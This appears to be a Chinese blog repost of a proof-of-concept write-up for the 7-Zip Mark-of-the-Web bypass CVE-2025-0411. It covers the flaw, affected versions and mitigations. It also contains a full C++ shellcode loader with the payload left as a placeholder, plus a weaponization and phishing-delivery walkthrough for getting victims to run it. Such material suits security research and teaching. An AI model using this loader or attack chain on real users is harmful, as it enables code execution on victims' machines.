当前位置: 首页 > news >正文

7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)分析与示例

7-Zip Mark-of-the-Web 绕过漏洞 [CVE-2025-0411] - POC

漏洞简介

此漏洞(CVSS 评分为 7.0)允许远程攻击者绕过受影响 7-Zip 安装中的 Mark-of-the-Web(网络标记)保护机制。利用此漏洞需要用户交互,即目标用户必须访问恶意页面或打开恶意文件。具体缺陷存在于处理归档文件时。当从带有网络标记的特制存档中提取文件时,7-Zip 不会将网络标记传播到提取的文件。攻击者可利用此漏洞在当前用户上下文中执行任意代码。

受影响版本

  • 24.09 之前的所有版本均被视为易受攻击。

缓解措施

  • 更新 7-Zip:从 7-Zip 官方网站下载并安装 24.09 或更高版本。
  • 谨慎处理不受信任的文件:避免打开来自未知或可疑来源的文件,尤其是压缩存档。
  • 利用安全功能:确保您的操作系统和安全软件配置为检测和阻止恶意文件。

概念验证 (POC)

作为 POC 的一部分,我们实现了一个简单的 calc.exe 加载器(Shellcode Loader),用于演示代码执行过程。

加载器核心代码

这是一个用 C++ 编写的 Windows Shellcode 加载器。它负责在内存中分配空间,复制并执行 Shellcode。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main(){DWORD oldprotect = 0;// 存放 Shellcode 的数组 (示例中为 calc.exe 的 Shellcode)unsigned char p[] = {//calc.exe shellcode};// 计算 Shellcode 长度unsigned int len = sizeof(p);// 在进程中申请可读可写内存void * payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);// 将 Shellcode 复制到申请的内存中RtlMoveMemory(payload_mem, p, len);// 将内存保护属性修改为可执行,防止 DEP 拦截BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);// 如果属性修改成功,则创建线程执行 Shellcodeif ( rv != 0 ) {HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);// 等待线程执行完毕WaitForSingleObject(th, -1);}return 0;
}// 编译命令(使用 MinGW-w64):
// x86_64-w64-mingw32-g++ .\loader.cpp -o loader.exe -s

漏洞利用方法

利用方法是对可执行文件进行双重压缩,从而触发漏洞。

  1. 武器化:将上述编译好的 loader.exe 进行两层压缩,制作成 7z 文件。
  2. 投递:将双重压缩的 7z 文件上传到有效载荷投递服务器(示例中为 MediaFire),并通过钓鱼邮件等方式向受害者发送恶意链接。下载后,文件会带有 "MotW"(Zone.Identifier,指示下载来源)。
  3. 执行:受害者需要点击打开多层压缩文件并运行其中的可执行文件。

已修复版本场景

使用 7-Zip 24.09 版本(已修复)打开文件时,会显示 Windows SmartScreen 警告,提示此文件来自不受信任的来源(因为它包含了 MotW)。

易受攻击版本场景

使用 7-Zip 24.07 版本(易受攻击)打开文件时,可以直接执行可执行文件,而不显示任何警告(因为提取的文件不包含 MotW)。

功能特性

本 POC 项目演示了以下核心环节:

  • 漏洞原理复现:展示了 CVE-2025-0411 如何绕过系统安全机制。
  • Shellcode 加载器:提供了一个完整的、可直接编译的 Windows 内存 Shellcode 加载器示例。
  • 完整的攻击链模拟:从载荷准备(压缩)到投递(带 MotW 下载),再到用户交互执行。
  • 版本对比说明:清晰展示了漏洞修复前后的不同行为。

安装与使用说明

本 POC 主要用于安全研究与教学目的。

环境要求

  • Windows 操作系统
  • 一个易受攻击的 7-Zip 版本 (如 24.07)
  • C/C++ 编译器 (如 MinGW-w64),用于编译加载器代码

使用步骤

  1. 编译加载器:使用 MinGW-w64 编译提供的 loader.cpp 代码,生成 loader.exe
    x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s
    
  2. 制作恶意存档:使用 7-Zip 24.07 版本将 loader.exe 压缩两次,生成嵌套的 .7z 文件。
  3. 模拟投递:将生成的 .7z 文件放在一个 Web 服务器上,或添加 Zone.Identifier 流以模拟从网络下载。
  4. 测试漏洞:在装有 7-Zip 24.07 的系统上下载并打开该存档,观察文件是否能不经警告直接执行。

免责声明:此代码仅用于教育和授权测试。请勿将其用于非法活动。

参考链接

  • https://www.zerodayinitiative.com/advisories/ZDI-25-045/
  • https://nvd.nist.gov/vuln/detail/CVE-2025-0411
  • https://securityonline.info/cve-2025-0411-7-zip-security-vulnerability-enables-code-execution-update-now/
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.jsqmd.com/news/143344/

相关文章:

  • 精选5家B2B海外社媒营销公司,2026海外新媒体运营推广公司宝藏清单,涵盖Facebook、LinkedIn、TikTok、INS、Google等多平台 - 品牌2025
  • PaddlePaddle动态图编程实战:提升大模型训练效率的秘诀
  • (AutoGLM开发者必看)如何贡献代码到智谱开源项目?官方指南全曝光
  • PaddlePaddle梯度裁剪(Gradient Clipping)解决爆炸问题
  • 海外展会营销推广平台有哪些,海外展会推广公司大全 - 品牌2025
  • 2025年全伺服前缘送纸联动线十大定制厂家实力排行,印刷开槽模切机全伺服前缘送纸印刷开槽模切联动线订制厂家怎么选择 - 品牌推荐师
  • 2025年盘点哪些公司做立式消防泵?行业知名企业推荐! - 品牌推荐大师
  • C语言switch case怎么用?核心原理与常见陷阱解析
  • 1、利用OpenCV和Python进行高级计算机视觉项目开发
  • 性能提升80%的背后,智谱Open-AutoGLM 2.0是如何重构AI工作流的?
  • PaddlePaddle模型保存与加载最佳实践
  • PaddlePaddle镜像一键部署:高效GPU算力助力中文NLP模型训练
  • 2025年上海靠谱代理记账公司排名,推荐小规模纳税人与电商企业优选服务商全解析 - 工业设备
  • 2025国内最新户外功能性面料品牌TOP5评测!广州等地区优质厂家及供应商权威榜单发布,创新赋能户外服饰产业升级 - 全局中转站
  • SpringBoot+Vue 教学辅助系统平台完整项目源码+SQL脚本+接口文档【Java Web毕设】
  • 基于非对称纳什谈判的多微网电能共享运行优化策略 关键词:纳什谈判 合作博弈 微网 电转气-碳捕...
  • 【超全】基于SSM的学生公寓管理系统【包括源码+文档+调试】
  • iOS多线程编程指南:GCD详解与线程通信实战技巧
  • 无损、快速、精准:拉曼光谱的“三重奏”重塑分析检测 - 品牌推荐大师
  • html5大文件分片上传插件vue-cli项目集成与加密传输
  • Open-AutoGLM插件版安装卡住了?资深架构师教你30分钟极速排障
  • 10大AI测试工具:必备效率提升器
  • YashanDB 用户反馈与改进建议
  • Boost单闭环仿真模型:目标输出电压阶跃与负载突变下的稳定闭环控制效果
  • AutoGLM上手难?一文掌握GitHub项目结构与关键模块解读
  • vue大文件分片上传插件源码解读及加密传输解决方案
  • 揭秘智谱Open-AutoGLM开源项目:5大核心功能你必须掌握
  • 5个官方渠道获取YashanDB的支持与更新
  • FastReport报表怎么控制行数?动态扩展与固定行数技巧
  • 2025 年免费 AI Agent 工具实用盘点:值得长期收藏的智能助手指南